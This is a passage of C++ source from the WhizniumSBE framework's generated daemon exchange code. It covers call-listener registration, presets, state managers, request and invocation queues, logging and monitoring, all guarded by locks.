xchg->addClstnStmgr(VecWznmVCall::CALLWZNMLIBUPD_REFEQ, jref); } else if (*it == VecWznmVStub::STUBWZNMLOCSREF) { xchg->addClstnStmgr(VecWznmVCall::CALLWZNMLOCUPD_REFEQ, jref); } else if (*it == VecWznmVStub::STUBWZNMLOCSTD) { xchg->addClstnStmgr(VecWznmVCall::CALLWZNMLOCUPD_REFEQ, jref); xchg->addClstnStmgr(VecWznmVCall::CALLWZNMLOCUPD_REFEQ, jref); } else if (*it == VecWznmVStub::STUBWZNMMCHSREF) { xchg->addClstnStmgr(VecWznmVCall::CALLWZNMMCHUPD_REFEQ, jref); } else if (*it == VecWznmVStub::STUBWZNMMCHSTD) { xchg->addClstnStmgr(VecWznmVCall::CALLWZNMMCHUPD_REFEQ, jref); xchg->addClstnStmgr(VecWznmVCall::CALLWZNMMCHUPD_REFEQ, jref); } else if (*it == VecWznmVStub::STUBWZNMMDLSTD) { xchg->addClstnStmgr(VecWznmVCall::CALLWZNMMDLUPD_REFEQ, jref); } else if (*it == VecWznmVStub::STUBWZNMMTDSTD) { xchg->addClstnStmgr(VecWznmVCall::CALLWZNMMTDUPD_REFEQ, jref); } else if (*it == VecWznmVStub::STUBWZNMOPKSTD) { xchg->addClstnStmgr(VecWznmVCall::CALLWZNMOPKUPD_REFEQ, jref); } else if (*it == VecWznmVStub::STUBWZNMOPXSTD) { xchg->addClstnStmgr(VecWznmVCall::CALLWZNMOPXUPD_REFEQ, jref); } else if (*it == VecWznmVStub::STUBWZNMOWNER) { xchg->addClstnStmgr(VecWznmVCall::CALLWZNMUSRUPD_REFEQ, jref); } else if (*it == VecWznmVStub::STUBWZNMPNLSTD) { xchg->addClstnStmgr(VecWznmVCall::CALLWZNMPNLUPD_REFEQ, jref); } else if (*it == VecWznmVStub::STUBWZNMPRJSHORT) { xchg->addClstnStmgr(VecWznmVCall::CALLWZNMPRJUPD_REFEQ, jref); } else if (*it == VecWznmVStub::STUBWZNMPRJSTD) { xchg->addClstnStmgr(VecWznmVCall::CALLWZNMPRJUPD_REFEQ, jref); xchg->addClstnStmgr(VecWznmVCall::CALLWZNMPRJUPD_REFEQ, jref); } else if (*it == VecWznmVStub::STUBWZNMPRSSTD) { xchg->addClstnStmgr(VecWznmVCall::CALLWZNMPRSUPD_REFEQ, jref); xchg->addClstnStmgr(VecWznmVCall::CALLWZNMPRSUPD_REFEQ, jref); } else if (*it == VecWznmVStub::STUBWZNMPSTSTD) { xchg->addClstnStmgr(VecWznmVCall::CALLWZNMPSTUPD_REFEQ, jref); xchg->addClstnStmgr(VecWznmVCall::CALLWZNMPSTUPD_REFEQ, jref); } else if (*it == VecWznmVStub::STUBWZNMQCOSTD) { xchg->addClstnStmgr(VecWznmVCall::CALLWZNMQCOUPD_REFEQ, jref); xchg->addClstnStmgr(VecWznmVCall::CALLWZNMQCOUPD_REFEQ, jref); } else if (*it == VecWznmVStub::STUBWZNMQMDSTD) { xchg->addClstnStmgr(VecWznmVCall::CALLWZNMQMDUPD_REFEQ, jref); xchg->addClstnStmgr(VecWznmVCall::CALLWZNMQMDUPD_REFEQ, jref); } else if (*it == VecWznmVStub::STUBWZNMQRYSTD) { xchg->addClstnStmgr(VecWznmVCall::CALLWZNMQRYUPD_REFEQ, jref); } else if (*it == VecWznmVStub::STUBWZNMRELSTD) { xchg->addClstnStmgr(VecWznmVCall::CALLWZNMRELUPD_REFEQ, jref); xchg->addClstnStmgr(VecWznmVCall::CALLWZNMRELUPD_REFEQ, jref); } else if (*it == VecWznmVStub::STUBWZNMRLSSTD) { xchg->addClstnStmgr(VecWznmVCall::CALLWZNMRLSUPD_REFEQ, jref); } else if (*it == VecWznmVStub::STUBWZNMRTBSTD) { xchg->addClstnStmgr(VecWznmVCall::CALLWZNMRTBUPD_REFEQ, jref); xchg->addClstnStmgr(VecWznmVCall::CALLWZNMRTBUPD_REFEQ, jref); } else if (*it == VecWznmVStub::STUBWZNMRTDSTD) { xchg->addClstnStmgr(VecWznmVCall::CALLWZNMRTDUPD_REFEQ, jref); xchg->addClstnStmgr(VecWznmVCall::CALLWZNMRTDUPD_REFEQ, jref); } else if (*it == VecWznmVStub::STUBWZNMRTJSTD) { xchg->addClstnStmgr(VecWznmVCall::CALLWZNMRTJUPD_REFEQ, jref); xchg->addClstnStmgr(VecWznmVCall::CALLWZNMRTJUPD_REFEQ, jref); } else if (*it == VecWznmVStub::STUBWZNMSBSSTD) { xchg->addClstnStmgr(VecWznmVCall::CALLWZNMSBSUPD_REFEQ, jref); } else if (*it == VecWznmVStub::STUBWZNMSEQSTD) { xchg->addClstnStmgr(VecWznmVCall::CALLWZNMSEQUPD_REFEQ, jref); xchg->addClstnStmgr(VecWznmVCall::CALLWZNMSEQUPD_REFEQ, jref); } else if (*it == VecWznmVStub::STUBWZNMSESMENU) { xchg->addClstnStmgr(VecWznmVCall::CALLWZNMSESUPD_REFEQ, jref); xchg->addClstnStmgr(VecWznmVCall::CALLWZNMSESUPD_REFEQ, jref); } else if (*it == VecWznmVStub::STUBWZNMSESSTD) { xchg->addClstnStmgr(VecWznmVCall::CALLWZNMSESUPD_REFEQ, jref); xchg->addClstnStmgr(VecWznmVCall::CALLWZNMSESUPD_REFEQ, jref); } else if (*it == VecWznmVStub::STUBWZNMSGESTD) { xchg->addClstnStmgr(VecWznmVCall::CALLWZNMSGEUPD_REFEQ, jref); xchg->addClstnStmgr(VecWznmVCall::CALLWZNMSGEUPD_REFEQ, jref); } else if (*it == VecWznmVStub::STUBWZNMSQKSTD) { xchg->addClstnStmgr(VecWznmVCall::CALLWZNMSQKUPD_REFEQ, jref); } else if (*it == VecWznmVStub::STUBWZNMSTBSTD) { xchg->addClstnStmgr(VecWznmVCall::CALLWZNMSTBUPD_REFEQ, jref); } else if (*it == VecWznmVStub::STUBWZNMSTESTD) { xchg->addClstnStmgr(VecWznmVCall::CALLWZNMSTEUPD_REFEQ, jref); xchg->addClstnStmgr(VecWznmVCall::CALLWZNMSTEUPD_REFEQ, jref); } else if (*it == VecWznmVStub::STUBWZNMTAGSTD) { xchg->addClstnStmgr(VecWznmVCall::CALLWZNMTAGUPD_REFEQ, jref); } else if (*it == VecWznmVStub::STUBWZNMTBLSTD) { xchg->addClstnStmgr(VecWznmVCall::CALLWZNMTBLUPD_REFEQ, jref); } else if (*it == VecWznmVStub::STUBWZNMTCOSREF) { xchg->addClstnStmgr(VecWznmVCall::CALLWZNMTCOUPD_REFEQ, jref); } else if (*it == VecWznmVStub::STUBWZNMTCOSTD) { xchg->addClstnStmgr(VecWznmVCall::CALLWZNMTCOUPD_REFEQ, jref); xchg->addClstnStmgr(VecWznmVCall::CALLWZNMTCOUPD_REFEQ, jref); } else if (*it == VecWznmVStub::STUBWZNMUSGSTD) { xchg->addClstnStmgr(VecWznmVCall::CALLWZNMUSGUPD_REFEQ, jref); } else if (*it == VecWznmVStub::STUBWZNMUSRSTD) { xchg->addClstnStmgr(VecWznmVCall::CALLWZNMUSRUPD_REFEQ, jref); xchg->addClstnStmgr(VecWznmVCall::CALLWZNMUSRUPD_REFEQ, jref); } else if (*it == VecWznmVStub::STUBWZNMVECSTD) { xchg->addClstnStmgr(VecWznmVCall::CALLWZNMVECUPD_REFEQ, jref); } else if (*it == VecWznmVStub::STUBWZNMVERNO) { xchg->addClstnStmgr(VecWznmVCall::CALLWZNMVERUPD_REFEQ, jref); } else if (*it == VecWznmVStub::STUBWZNMVERSHORT) { xchg->addClstnStmgr(VecWznmVCall::CALLWZNMVERUPD_REFEQ, jref); } else if (*it == VecWznmVStub::STUBWZNMVERSTD) { xchg->addClstnStmgr(VecWznmVCall::CALLWZNMVERUPD_REFEQ, jref); xchg->addClstnStmgr(VecWznmVCall::CALLWZNMVERUPD_REFEQ, jref); } else if (*it == VecWznmVStub::STUBWZNMVITSREF) { xchg->addClstnStmgr(VecWznmVCall::CALLWZNMVITUPD_REFEQ, jref); } else if (*it == VecWznmVStub::STUBWZNMVITSTD) { xchg->addClstnStmgr(VecWznmVCall::CALLWZNMVITUPD_REFEQ, jref); xchg->addClstnStmgr(VecWznmVCall::CALLWZNMVITUPD_REFEQ, jref); }; }; stcch->commit(); }; void StmgrWznm::lockAccess( const string& srefObject , const string& srefMember ) { mAccess.lock(srefObject, srefMember, "jref=" + to_string(jref)); }; void StmgrWznm::unlockAccess( const string& srefObject , const string& srefMember ) { mAccess.unlock(srefObject, srefMember, "jref=" + to_string(jref)); }; /****************************************************************************** class WakeupWznm ******************************************************************************/ WakeupWznm::WakeupWznm( XchgWznm* xchg , const ubigint wref , const ubigint jref , const string sref , const uint64_t deltat , const bool weak ) { this->xchg = xchg; this->wref = wref; this->jref = jref; this->sref = sref; this->deltat = deltat; this->weak = weak; }; /****************************************************************************** class ExtcallWznm ******************************************************************************/ ExtcallWznm::ExtcallWznm( XchgWznm* xchg , Call* call ) { this->xchg = xchg; this->call = call; }; /****************************************************************************** class NodeWznm ******************************************************************************/ NodeWznm::NodeWznm( const ubigint nref , const string& ip , const uint port , const uint opprcn , const uint ixWznmVOpengtype ) { this->nref = nref; this->ip = ip; this->port = port; this->opprcn = opprcn; this->ixWznmVOpengtype = ixWznmVOpengtype; vector<uint> icsWznmVOppack; OpengWznm::getIcsWznmVOppackByIxWznmVOpengtype(ixWznmVOpengtype, icsWznmVOppack); for (unsigned int i = 0; i < icsWznmVOppack.size(); i++) OpengWznm::getIcsWznmVDpchByIxWznmVOppack(icsWznmVOppack[i], icsWznmVDpch); ixVState = VecVState::IDLE; }; NodeWznm::~NodeWznm() { }; // IP ShrdatJobprc.subs --- INSERT /****************************************************************************** class XchgWznmd::ShrdatJobprc ******************************************************************************/ XchgWznmd::ShrdatJobprc::ShrdatJobprc() : ShrdatWznm("XchgWznm", "ShrdatJobprc") { }; void XchgWznmd::ShrdatJobprc::init( XchgWznm* xchg , DbsWznm* dbswznm ) { // IP ShrdatJobprc.init --- INSERT }; void XchgWznmd::ShrdatJobprc::term( XchgWznm* xchg ) { // IP ShrdatJobprc.term --- INSERT }; /****************************************************************************** class XchgWznmd ******************************************************************************/ XchgWznmd::XchgWznmd() : cStable("cStable", "XchgWznmd", "XchgWznmd") , mLogfile("mLogfile", "XchgWznmd", "XchgWznmd") , cOpengcli("cOpengcli", "XchgWznmd", "XchgWznmd") , cJobprcs("cJobprcs", "XchgWznmd", "XchgWznmd") , cOpprcs("cOpprcs", "XchgWznmd", "XchgWznmd") , mReqs("mReqs", "XchgWznmd", "XchgWznmd") , orefseq("orefseq") , mInvs("mInvs", "XchgWznmd", "XchgWznmd") , rwmPresets("rwmPresets", "XchgWznmd", "XchgWznmd") , rwmStmgrs("rwmStmgrs", "XchgWznmd", "XchgWznmd") , rwmClstns("rwmClstns", "XchgWznmd", "XchgWznmd") , rwmDcols("rwmDcols", "XchgWznmd", "XchgWznmd") , jrefseq("jrefseq") , rwmJobs("rwmJobs", "XchgWznmd", "XchgWznmd") , rwmCsjobinfos("rwmCsjobinfos", "XchgWznmd", "XchgWznmd") , wrefseq("wrefseq") , nrefseq("nrefseq") , rwmNodes("rwmNodes", "XchgWznmd", "XchgWznmd") { // root job jrefRoot = 0; // job receiving commands jrefCmd = 0; termOpengcli = false; // client-server job information csjobinfos[VecWznmVJob::JOBWZNMLICENSE] = new Csjobinfo(VecWznmVJob::JOBWZNMLICENSE); }; XchgWznmd::~XchgWznmd() { // empty out lists for (auto it = reqs.begin(); it != reqs.end(); it++) delete(*it); for (auto it = invs.begin(); it != invs.end(); it++) delete(*it); for (auto it = presets.begin(); it != presets.end(); it++) delete(it->second); for (auto it = stmgrs.begin(); it != stmgrs.end(); it++) delete(it->second); for (auto it = clstns.begin(); it != clstns.end(); it++) delete(it->second); for (auto it = dcols.begin(); it != dcols.end(); it++) delete(it->second); for (auto it = jobs.begin(); it != jobs.end(); it++) delete(it->second); for (auto it = jobinfos.begin(); it != jobinfos.end(); it++) delete(it->second); for (auto it = csjobinfos.begin(); it != csjobinfos.end(); it++) delete(it->second); for (auto it = nodes.begin(); it != nodes.end(); it++) delete(it->second); }; // IP cust --- INSERT void XchgWznmd::startMon() { JobWznm* job = NULL; Jobinfo* jobinfo = NULL; DcolWznm* dcol = NULL; bool Dcol; StmgrWznm* stmgr = NULL; bool Stmgr; Clstn* clstn = NULL; Preset* preset = NULL; NodeWznm* node = NULL; mon.start("WhizniumSBE v1.1.5", stgwznmpath.monpath); rwmJobs.rlock("XchgWznmd", "startMon"); for (auto it = jobs.begin(); it != jobs.end(); it++) { job = it->second; jobinfo = jobinfos[job->jref]; dcol = getDcolByJref(job->jref, false); if (dcol) { Dcol = true; dcol->unlockAccess("XchgWznmd", "startMon"); } else Dcol = false; stmgr = getStmgrByJref(job->jref); if (stmgr) { Stmgr = true; stmgr->unlockAccess("XchgWznmd", "startMon"); } else Stmgr = false; if (getCsjobNotJob(job->ixWznmVJob)) mon.insertJob(jobinfo->jrefSup, VecWznmVJob::getSref(job->ixWznmVJob), job->jref, true, ((CsjobWznm*) job)->srvNotCli, Dcol, Stmgr); else mon.insertJob(jobinfo->jrefSup, VecWznmVJob::getSref(job->ixWznmVJob), job->jref, false, false, Dcol, Stmgr); }; rwmJobs.runlock("XchgWznmd", "startMon"); rwmClstns.rlock("XchgWznmd", "startMon"); for (auto it = clstns.begin(); it != clstns.end(); it++) { clstn = it->second; mon.insertClstn(clstn->cref.jref, Clstn::VecVTarget::getSref(clstn->cref.ixVTarget), VecWznmVCall::getSref(clstn->cref.ixVCall), Clstn::VecVJobmask::getSref(clstn->cref.ixVJobmask), clstn->cref.jrefTrig, clstn->cref.arg, clstn->cref.ixVSge, Clstn::VecVJactype::getSref(clstn->ixVJactype)); }; rwmClstns.runlock("XchgWznmd", "startMon"); rwmPresets.rlock("XchgWznmd", "startMon"); for (auto it = presets.begin(); it != presets.end(); it++) { preset = it->second; mon.insertPreset(preset->pref.jref, VecWznmVPreset::getSref(preset->pref.ixVPreset), preset->arg); }; rwmPresets.runlock("XchgWznmd", "startMon"); rwmNodes.rlock("XchgWznmd", "startMon"); for (auto it = nodes.begin(); it != nodes.end(); it++) { node = it->second; mon.insertNode(node->nref, node->ip, node->port, node->opprcn); }; rwmNodes.runlock("XchgWznmd", "startMon"); triggerCall(NULL, VecWznmVCall::CALLWZNMMONSTATCHG, jrefRoot); }; void XchgWznmd::stopMon() { mon.stop(); triggerCall(NULL, VecWznmVCall::CALLWZNMMONSTATCHG, jrefRoot); }; void XchgWznmd::appendToLogfile( const string& str ) { time_t rawtime; fstream logfile; mLogfile.lock("XchgWznmd", "appendToLogfile"); time(&rawtime); logfile.open(exedir + "/log.txt", ios::out | ios::app); logfile << Ftm::stamp(rawtime) << ": " << str << endl; logfile.close(); mLogfile.unlock("XchgWznmd", "appendToLogfile"); }; void XchgWznmd::addReq( ReqWznm* req ) { if (jrefRoot == 0) return; mReqs.lock("XchgWznmd", "addReq", "jref=" + to_string(req->jref)); req->ixVState = ReqWznm::VecVState::WAITPRC; reqs.push_back(req); mReqs.unlock("XchgWznmd", "addReq", "jref=" + to_string(req->jref)); cJobprcs.signal("XchgWznmd", "addReq", "jref=" + to_string(req->jref)); }; ReqWznm* XchgWznmd::pullFirstReq() { ReqWznm* req; // get first element from list mReqs.lock("XchgWznmd", "pullFirstReq"); req = NULL; if (!reqs.empty()) { req = *(reqs.begin()); req->ixVState = ReqWznm::VecVState::PRC; reqs.pop_front(); }; mReqs.unlock("XchgWznmd", "pullFirstReq"); return req; }; void XchgWznmd::addInvs( DbsWznm* dbswznm , JobWznm* job , vector<DpchInvWznm*>& dpchinvs ) { // append to inv list and signal the news (note the double-lock) mInvs.lock("XchgWznmd", "addInvs", "jref=" + to_string(job->jref)); job->mOps.lock("XchgWznmd", "addInvs", "jref=" + to_string(job->jref)); for (unsigned int i = 0; i < dpchinvs.size(); i++) { job->addOp(dbswznm, dpchinvs[i]); invs.push_back(dpchinvs[i]); mon.eventAddInv(job->jref, VecWznmVDpch::getSref(dpchinvs[i]->ixWznmVDpch), "", dpchinvs[i]->oref); }; job->mOps.unlock("XchgWznmd", "addInvs", "jref=" + to_string(job->jref)); mInvs.unlock("XchgWznmd", "addInvs", "jref=" + to_string(job->jref)); cOpprcs.broadcast("XchgWznmd", "addInvs", "jref=" + to_string(job->jref)); }; DpchInvWznm* XchgWznmd::pullFirstInv( NodeWznm* node ) { bool match = false; DpchInvWznm* inv; // get first matching element from list mInvs.lock("XchgWznmd", "pullFirstInv"); for (auto it = invs.begin(); it != invs.end(); it++) { inv = *it; if (node->icsWznmVDpch.find(inv->ixWznmVDpch) != node->icsWznmVDpch.end()) { // match found // remove inv from list invs.erase(it); match = true; break; }; }; mInvs.unlock("XchgWznmd", "pullFirstInv"); if (match) return inv; else return NULL; }; void XchgWznmd::returnInv( DpchInvWznm* dpchinv ) { // un-successful execution of op returns // append to inv list and signal the news mInvs.lock("XchgWznmd", "returnInv", "oref=" + to_string(dpchinv->oref)); invs.push_back(dpchinv); mInvs.unlock("XchgWznmd", "returnInv", "oref=" + to_string(dpchinv->oref)); cOpprcs.broadcast("XchgWznmd", "returnInv", "oref=" + to_string(dpchinv->oref)); }; Preset* XchgWznmd::addPreset( const uint ixWznmVPreset , const ubigint jref , const Arg& arg ) { presetref_t pref(jref, ixWznmVPreset); Preset* preset; // create new presetting (override value if exists) and append to presetting list preset = getPresetByPref(pref); rwmPresets.wlock("XchgWznmd", "addPreset", "jref=" + to_string(jref)); if (preset) { preset->arg = arg; mon.eventChangePreset(jref, VecWznmVPreset::getSref(ixWznmVPreset), arg); } else { preset = new Preset(pref, arg); presets.insert(pair<presetref_t,Preset*>(pref, preset)); mon.eventAddPreset(jref, VecWznmVPreset::getSref(ixWznmVPreset), arg); }; rwmPresets.wunlock("XchgWznmd", "addPreset", "jref=" + to_string(jref)); return(preset); }; Preset* XchgWznmd::addIxPreset( const uint ixWznmVPreset , const ubigint jref , const uint ix ) { return(addPreset(ixWznmVPreset, jref, Arg(ix, 0, {}, "", 0, 0.0, false, "", Arg::IX))); }; Preset* XchgWznmd::addRefPreset( const uint ixWznmVPreset , const ubigint jref , const ubigint ref ) { return(addPreset(ixWznmVPreset, jref, Arg(0, ref, {}, "", 0, 0.0, false, "", Arg::REF))); }; Preset* XchgWznmd::addRefsPreset( const uint ixWznmVPreset , const ubigint jref , const vector<ubigint>& refs ) { Arg arg(0, 0, refs, "", 0, 0.0, false, "", Arg::REFS); return(addPreset(ixWznmVPreset, jref, arg)); }; Preset* XchgWznmd::addSrefPreset( const uint ixWznmVPreset , const ubigint jref , const string& sref ) { return(addPreset(ixWznmVPreset, jref, Arg(0, 0, {}, sref, 0, 0.0, false, "", Arg::SREF))); }; Preset* XchgWznmd::addIntvalPreset( const uint ixWznmVPreset , const ubigint jref , const int intval ) { return(addPreset(ixWznmVPreset, jref, Arg(0, 0, {}, "", intval, 0.0, false, "", Arg::INTVAL))); }; Preset* XchgWznmd::addDblvalPreset( const uint ixWznmVPreset , const ubigint jref , const double dblval ) { return(addPreset(ixWznmVPreset, jref, Arg(0, 0, {}, "", 0, dblval, false, "", Arg::DBLVAL))); }; Preset* XchgWznmd::addBoolvalPreset( const uint ixWznmVPreset , const ubigint jref , const bool boolval ) { return(addPreset(ixWznmVPreset, jref, Arg(0, 0, {}, "", 0, 0.0, boolval, "", Arg::BOOLVAL))); }; Preset* XchgWznmd::addTxtvalPreset( const uint ixWznmVPreset , const ubigint jref , const string& txtval ) { return(addPreset(ixWznmVPreset, jref, Arg(0, 0, {}, "", 0, 0.0, false, txtval, Arg::TXTVAL))); }; Preset* XchgWznmd::getPresetByPref( const presetref_t& pref ) { Preset* preset = NULL; rwmPresets.rlock("XchgWznmd", "getPresetByPref"); auto it = presets.find(pref); if (it != presets.end()) preset = it->second; rwmPresets.runlock("XchgWznmd", "getPresetByPref"); return preset; }; Arg XchgWznmd::getPreset( const uint ixWznmVPreset , ubigint jref ) { Arg arg; Jobinfo* jobinfo = NULL; Preset* preset = NULL; if ( (ixWznmVPreset == VecWznmVPreset::PREWZNMSYSDATE) || (ixWznmVPreset == VecWznmVPreset::PREWZNMSYSTIME) || (ixWznmVPreset == VecWznmVPreset::PREWZNMSYSSTAMP) ) { time_t rawtime; time(&rawtime); if (ixWznmVPreset == VecWznmVPreset::PREWZNMSYSSTAMP) { arg.mask = Arg::REF; arg.ref = rawtime; } else { arg.mask = Arg::INTVAL; if (ixWznmVPreset == VecWznmVPreset::PREWZNMSYSDATE) arg.intval = (rawtime-rawtime%(3600*24))/(3600*24); else arg.intval = rawtime%(3600*24); }; } else { rwmJobs.rlock("XchgWznmd", "getPreset", "jref=" + to_string(jref)); rwmPresets.rlock("XchgWznmd", "getPreset", "jref=" + to_string(jref)); jobinfo = getJobinfoByJref(jref); if (jobinfo && (ixWznmVPreset == VecWznmVPreset::PREWZNMIXLCL)) { arg.mask = Arg::IX; arg.ix = jobs[jref]->ixWznmVLocale; } else { while (jobinfo && !preset) { preset = getPresetByPref(presetref_t(jref, ixWznmVPreset)); if (preset) arg = preset->arg; else { jref = jobinfo->jrefSup; jobinfo = getJobinfoByJref(jref); }; }; }; rwmPresets.runlock("XchgWznmd", "getPreset", "jref=" + to_string(jref)); rwmJobs.runlock("XchgWznmd", "getPreset", "jref=" + to_string(jref)); }; return(arg); }; uint XchgWznmd::getIxPreset( const uint ixWznmVPreset , const ubigint jref ) { Arg arg = getPreset(ixWznmVPreset, jref); if (arg.mask & Arg::IX) return(arg.ix); else return(0); }; ubigint XchgWznmd::getRefPreset( const uint ixWznmVPreset , const ubigint jref ) { Arg arg = getPreset(ixWznmVPreset, jref); if (arg.mask & Arg::REF) return(arg.ref); else return(0); }; vector<ubigint> XchgWznmd::getRefsPreset( const uint ixWznmVPreset , const ubigint jref ) { Arg arg = getPreset(ixWznmVPreset, jref); vector<ubigint> empty; if (arg.mask & Arg::REFS) return(arg.refs); else return(empty); }; string XchgWznmd::getSrefPreset( const uint ixWznmVPreset , const ubigint jref ) { Arg arg = getPreset(ixWznmVPreset, jref); if (arg.mask & Arg::SREF) return(arg.sref); else return(""); }; int XchgWznmd::getIntvalPreset( const uint ixWznmVPreset , const ubigint jref ) { Arg arg = getPreset(ixWznmVPreset, jref); if (arg.mask & Arg::INTVAL) return(arg.intval); else return(intvalInvalid); }; double XchgWznmd::getDblvalPreset( const uint ixWznmVPreset , const ubigint jref ) { Arg arg = getPreset(ixWznmVPreset, jref); if (arg.mask & Arg::DBLVAL) return(arg.dblval); else return(dblvalInvalid); }; bool XchgWznmd::getBoolvalPreset( const uint ixWznmVPreset , const ubigint jref ) { Arg arg = getPreset(ixWznmVPreset, jref); if (arg.mask & Arg::BOOLVAL) return(arg.boolval); else return(false); }; string XchgWznmd::getTxtvalPreset( const uint ixWznmVPreset , const ubigint jref ) { Arg arg = getPreset(ixWznmVPreset, jref); if (arg.mask & Arg::TXTVAL) return(arg.txtval); else return(""); }; void XchgWznmd::getPresetsByJref( const ubigint jref , vector<uint>& icsWznmVPreset , vector<Arg>& args ) { Preset* preset = NULL; icsWznmVPreset.clear(); args.clear(); rwmPresets.rlock("XchgWznmd", "getPresetsByJref", "jref=" + to_string(jref)); auto rng = presets.equal_range(presetref_t(jref, 0)); for (auto it = rng.first; it != rng.second; it++) { preset = it->second; icsWznmVPreset.push_back(preset->pref.ixVPreset); args.push_back(preset->arg); }; rwmPresets.runlock("XchgWznmd", "getPresetsByJref", "jref=" + to_string(jref)); }; void XchgWznmd::removePreset( const uint ixWznmVPreset , const ubigint jref ) { rwmPresets.wlock("XchgWznmd", "removePreset", "jref=" + to_string(jref) + ",srefIxWznmVPreset=" + VecWznmVPreset::getSref(ixWznmVPreset)); auto it = presets.find(presetref_t(jref, ixWznmVPreset)); if (it != presets.end()) { delete it->second; presets.erase(it); mon.eventRemovePreset(jref, VecWznmVPreset::getSref(ixWznmVPreset)); }; rwmPresets.wunlock("XchgWznmd", "removePreset", "jref=" + to_string(jref) + ",srefIxWznmVPreset=" + VecWznmVPreset::getSref(ixWznmVPreset)); }; void XchgWznmd::removePresetsByJref( const ubigint jref ) { rwmPresets.wlock("XchgWznmd", "removePresetsByJref", "jref=" + to_string(jref)); uint ixVPreset; auto rng = presets.equal_range(presetref_t(jref, 0)); for (auto it = rng.first; it != rng.second; it++) { ixVPreset = it->second->pref.ixVPreset; delete it->second; mon.eventRemovePreset(jref, VecWznmVPreset::getSref(ixVPreset)); }; presets.erase(rng.first, rng.second); rwmPresets.wunlock("XchgWznmd", "removePresetsByJref", "jref=" + to_string(jref)); }; StmgrWznm* XchgWznmd::addStmgr( const ubigint jref , const uint ixVNonetype ) { StmgrWznm* stmgr = NULL; // create new stmgr and append to stmgr list stmgr = getStmgrByJref(jref); if (!stmgr) { rwmStmgrs.wlock("XchgWznmd", "addStmgr", "jref=" + to_string(jref)); stmgr = new StmgrWznm(this, jref, ixVNonetype); stmgrs[jref] = stmgr; rwmStmgrs.wunlock("XchgWznmd", "addStmgr", "jref=" + to_string(jref)); mon.eventAddStmgr(jref); }; return(stmgr); }; StmgrWznm* XchgWznmd::getStmgrByJref( const ubigint jref ) { StmgrWznm* stmgr = NULL; rwmStmgrs.rlock("XchgWznmd", "getStmgrByJref", "jref=" + to_string(jref)); auto it = stmgrs.find(jref); if (it != stmgrs.end()) { stmgr = it->second; stmgr->lockAccess("XchgWznmd", "getStmgrByJref"); }; rwmStmgrs.runlock("XchgWznmd", "getStmgrByJref", "jref=" + to_string(jref)); return(stmgr); }; void XchgWznmd::removeStmgrByJref( const ubigint jref ) { rwmStmgrs.wlock("XchgWznmd", "removeStmgrByJref", "jref=" + to_string(jref)); removeClstnsByJref(jref, Clstn::VecVTarget::STMGR); auto it = stmgrs.find(jref); if (it != stmgrs.end()) { delete it->second; stmgrs.erase(it); mon.eventRemoveStmgr(jref); }; rwmStmgrs.wunlock("XchgWznmd", "removeStmgrByJref", "jref=" + to_string(jref)); }; Clstn* XchgWznmd::addClstn( const uint ixWznmVCall , const ubigint jref , const uint ixVJobmask , const ubigint jrefTrig , const bool chgarg , const Arg& arg , const uint ixVSge , const uint ixVJactype ) { clstnref_t cref(ixWznmVCall, jref, Clstn::VecVTarget::JOB, ixVJobmask, jrefTrig, arg, ixVSge); clstnref2_t cref2(cref); multimap<clstnref_t,Clstn*>::iterator it; Clstn* clstn = NULL; rwmClstns.wlock("XchgWznmd", "addClstn", "jref=" + to_string(jref) + ",srefIxWznmVCall=" + VecWznmVCall::getSref(ixWznmVCall)); if (!chgarg) it = clstns.end(); else { Arg argFind = arg; argFind.clearContent(); clstnref_t crefFind(ixWznmVCall, jref, Clstn::VecVTarget::JOB, ixVJobmask, jrefTrig, argFind, ixVSge); it = clstns.find(crefFind); }; if (it == clstns.end()) { // create new clstn and append to clstn list clstn = new Clstn(cref, ixVJactype); clstns.insert(pair<clstnref_t,Clstn*>(cref, clstn)); cref2sClstns.insert(pair<clstnref2_t,clstnref_t>(cref2, cref)); mon.eventAddClstn(jref, "job", VecWznmVCall::getSref(ixWznmVCall), Clstn::VecVJobmask::getSref(ixVJobmask), jrefTrig, arg, ixVSge, Clstn::VecVJactype::getSref(ixVJactype)); } else { // change clstn argument clstn = it->second; clstn->cref = cref; cref2sClstns.erase(clstnref2_t(it->first)); clstns.erase(it->first); clstns.insert(pair<clstnref_t,Clstn*>(cref, clstn)); cref2sClstns.insert(pair<clstnref2_t,clstnref_t>(cref2, cref)); mon.eventChangeClstnArg(jref, "job", VecWznmVCall::getSref(ixWznmVCall), Clstn::VecVJobmask::getSref(ixVJobmask), jrefTrig, arg, ixVSge, Clstn::VecVJactype::getSref(ixVJactype)); }; rwmClstns.wunlock("XchgWznmd", "addClstn", "jref=" + to_string(jref) + ",srefIxWznmVCall=" + VecWznmVCall::getSref(ixWznmVCall)); return(clstn); }; Clstn* XchgWznmd::addIxClstn( const uint ixWznmVCall , const ubigint jref , const uint ixVJobmask , const ubigint jrefTrig , const bool chgarg , const uint ix , const uint ixVSge , const uint ixVJactype ) { Arg arg(ix, 0, {}, "", 0, 0.0, false, "", Arg::IX); return(addClstn(ixWznmVCall, jref, ixVJobmask, jrefTrig, chgarg, arg, ixVSge, ixVJactype)); }; Clstn* XchgWznmd::addRefClstn( const uint ixWznmVCall , const ubigint jref , const uint ixVJobmask , const ubigint jrefTrig , const bool chgarg , const ubigint ref , const uint ixVSge , const uint ixVJactype ) { Arg arg(0, ref, {}, "", 0, 0.0, false, "", Arg::REF); return(addClstn(ixWznmVCall, jref, ixVJobmask, jrefTrig, chgarg, arg, ixVSge, ixVJactype)); }; Clstn* XchgWznmd::addIxRefClstn( const uint ixWznmVCall , const ubigint jref , const uint ixVJobmask , const ubigint jrefTrig , const bool chgarg , const uint ix , const ubigint ref , const uint ixVSge , const uint ixVJactype ) { Arg arg(ix, ref, {}, "", 0, 0.0, false, "", Arg::IX + Arg::REF); return(addClstn(ixWznmVCall, jref, ixVJobmask, jrefTrig, chgarg, arg, ixVSge, ixVJactype)); }; Clstn* XchgWznmd::addIxRefSrefClstn( const uint ixWznmVCall , const ubigint jref , const uint ixVJobmask , const ubigint jrefTrig , const bool chgarg , const uint ix , const ubigint ref , const string& sref , const uint ixVSge , const uint ixVJactype ) { Arg arg(ix, ref, {}, sref, 0, 0.0, false, "", Arg::IX + Arg::REF + Arg::SREF); return(addClstn(ixWznmVCall, jref, ixVJobmask, jrefTrig, chgarg, arg, ixVSge, ixVJactype)); }; Clstn* XchgWznmd::addClstnStmgr( const uint ixWznmVCall , const ubigint jref ) { clstnref_t cref(ixWznmVCall, jref, Clstn::VecVTarget::STMGR, Clstn::VecVJobmask::ALL); clstnref2_t cref2(cref); Clstn* clstn; // create new clstn and append to clstn list clstn = getClstnByCref(cref); if 